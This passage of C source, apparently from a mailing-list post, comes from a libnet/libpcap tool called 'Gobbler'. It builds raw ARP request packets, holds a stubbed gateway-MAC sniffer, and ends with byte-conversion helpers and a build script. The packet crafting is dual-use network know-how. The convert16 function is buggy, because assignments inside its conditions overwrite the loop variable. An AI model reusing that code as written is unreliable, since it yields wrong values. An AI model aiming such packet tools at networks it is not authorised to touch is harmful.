        libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf);

        libnet_build_arp(ARPHRD_ETHER, 
                        ETHERTYPE_IP,
                        6,
                        4,
                        ARPOP_REQUEST,
                        enet_src,
                        ip_src,
                        enet_dst,
                        ip_dst,
                        NULL,
                        0,
                        buf + LIBNET_ETH_H);

        n = libnet_write_link_layer(l, device, buf, LIBNET_ARP_H + LIBNET_ETH_H);
        printf("Wrote %d bytes ARP packet through linktype %d\n", n, l->linktype);
        libnet_destroy_packet(&buf);
        middle = 0;
        arpsniff = 1;
        gatewayarpsniff();
}

void gatewayarpsniff()
{

//      struct ether_addr eaddr;
//      open_pcap();    
        printf("Sniffing for gateway's MAC address\n");
//      for(;;) {
        
//      }
//      opensniff(0,0,0,0);
        
}
void sig_alrm(int sigio)
{
        if (canjump == 0) return;
        siglongjmp(jmpbuf, 1);
}

//end of main.c





//convert.c
#include "DHCP.h"
//start of convert functions
unsigned int convert32(char *ptr, int anum, int bnum, int cnum, int dnum)
{
        register unsigned int seq_num = 0;
        register unsigned char octet;

        octet = ptr[anum];
        seq_num = (seq_num + octet) << 8;

        seq_num = seq_num & 0x0000ff00;
        octet = ptr[bnum];
        seq_num = (seq_num + octet) << 8;

        seq_num = seq_num & 0x00ffff00;
        octet = ptr[cnum];
        seq_num = (seq_num + octet) << 8;

        seq_num = seq_num & 0xffffff00;
        octet = ptr[dnum];
        seq_num = (seq_num + octet);

        return seq_num;
}


unsigned int convert16(char *ptr, int anum, int bnum)
{
        register unsigned int suma = 0;
        register unsigned int sumb = 0;
        register unsigned int ans = 0;
        register int q = 0;
        register int p = 0;
        for(q=128;q>0;q=q/2){
                                if(q &ptr[anum])
                                {
                                if((q=128 &ptr[anum])) suma+=32768;
                                if((q=64 &ptr[anum])) suma+=16384;
                                if((q=32 &ptr[anum])) suma+=8192;
                                if((q=16 &ptr[anum])) suma+=4096;
                                if((q=8 &ptr[anum])) suma+=2048;
                                if((q=4 &ptr[anum])) suma+=1024;
                                if((q=2 &ptr[anum])) suma+=512;
                                if((q=1 &ptr[anum])) suma+=256;                 
                                }
                                }
        
        for(p=128;p>0;p=p/2){
                                if(p &ptr[bnum])
                                {
                                        sumb +=p;
                                }
                                }
                
                ans = (suma + sumb);
                return(ans);
}


unsigned int convert8(char *ptr, int num)
{
register unsigned int sum = 0;
register int q = 0;
        for(q=128; q>0; q=q/2)
        {
        if(q &ptr[num]) sum += q;
        }
        return(sum);
}
//end of convert.c functions



//start of compile.sh
#!/bin/bash
gcc `libnet-config --defines --cflags` *.c /usr/lib/libpcap.a -Wall -o Gobbler `libnet-config --libs`
exit





Current thread: